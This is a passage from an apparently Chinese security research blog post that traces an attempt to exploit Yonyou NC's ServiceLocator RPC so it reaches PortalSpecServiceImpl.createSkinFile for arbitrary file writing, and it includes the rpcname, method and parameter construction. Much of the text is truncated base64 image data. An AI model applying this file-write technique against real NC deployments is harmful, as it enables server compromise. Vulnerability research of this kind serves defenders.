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 truncated
<p>然后ServiceLocator这样调用service1、2</p>
<p><a id=img12 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311105142-4a67e3d4-df52-1.png><img src=data:image/png;base64,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 truncated
<p>也就是说通过ServiceLocator.getService(className)去获取实例,className要先被加入到ServiceCache才能通过getService获取到。<br>
上面用的bsh.Interpreter这个类是获取不到的,描述里的这个类PortalSpecServiceImpl应该能获取到的,并且有createSkinFile方法可以写文件<br>
一共6个参数,分别拼接到filePath里</p>
<p><a id=img13 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311105218-5fcdb69a-df52-1.png title><img src="data:image/png;base64,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 truncated
<p>直接构造</p>
<pre><code>rpcname为nc.uap.portal.service.impl.PortalSpecServiceImpl
method为createSkinFile
params为String1、2、3等</code></pre>
<p>再次直接打,服务器还是返回500,正常来说,应该没啥问题的,有点难受。</p>
<h2 id=toc-3>0x03</h2>
<p>下面两个思路</p>
<pre><code>找ServiceCache里有哪些类,然后找有可以执行命令或者写文件public方法的类。
继续看下为什么PortalSpecServiceImpl调不了</code></pre>
<p>下面继续看了,跟着上面的NCLocator.getInstance().lookup(name)</p>
<pre><code>doGetService
--&gt;ServerNCLocator#lookup
--&gt;BusinessAppServer#lookup
--&gt;AbstractContext#lookup</code></pre>
<p><a id=img14 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311105320-8524904e-df52-1.png><img src=data:image/png;base64,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